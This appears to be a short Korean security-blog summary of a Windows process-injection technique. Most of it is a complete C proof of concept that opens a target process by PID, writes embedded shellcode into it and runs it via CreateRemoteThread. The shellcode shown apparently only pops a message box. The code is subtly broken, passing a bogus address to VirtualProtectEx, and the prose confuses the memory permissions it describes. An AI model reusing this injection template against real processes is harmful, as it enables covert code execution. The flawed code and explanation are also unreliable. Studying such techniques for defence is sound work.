[하루한줄] Process Injection without Write/Execute Permission

URL

Process Injection without Write/Execute Permission

Target

  • Windows

Explain

해당 블로그에서 non-writable allocation에 shellcode를 작성하고 non-executable allocation에서 이를 실행하는 방법이 공개되었습니다.

먼저 non-writable allocation에 VirtualAlloc을 통해 PAGE_EXECUTE_READ 권한을 부여하여 shellcode를 작성합니다.

void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READ);
printf("[+] Allocation created successfully %p \n", exec);

if (WriteProcessMemory(GetCurrentProcess(), exec, shellcode, sizeof(shellcode), NULL)) {
    printf("[+] Shellcode wrote successfully.");
}
else {
    printf("[-] No permission to write the shellcode.");
}

screenshot_4

성공적으로 shellcode가 작성됨을 확인할 수 있습니다. 그 후 해당 영역 (non-executable allocation)에 PAGE_READONLY 권한을 부여합니다. 하지만 DEP (Data Execution Prevention) 보호 기법으로 인해 메모리에서 직접 shellcode를 실행할 수 없습니다. 따라서 DEP가 걸려있지 않은 프로세스를 찾아 해당 프로세스에 shellcode를 injection 하면 읽기/쓰기 권한 없이 shellcode를 실행할 수 있습니다.

POC는 다음과 같습니다.

#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] =
        "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
        "\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
        "\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
        "\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
        "\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
        "\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
        "\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
        "\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
        "\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
        "\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
        "\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
        "\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
        "\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
        "\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
        "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
        "\x68\x70\x77\x6e\x58\x68\x52\x65\x74\x32\x31\xc9\x88\x4c\x24"
        "\x07\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
        "\x55\x08";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    DWORD oldPerms;
    DWORD PID = 17968;
    printf("Injecting to PID: %i", PID);
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READ);
    WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
    VirtualProtectEx(processHandle, (LPVOID)sizeof(processHandle), sizeof(shellcode), PAGE_READONLY, &oldPerms);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}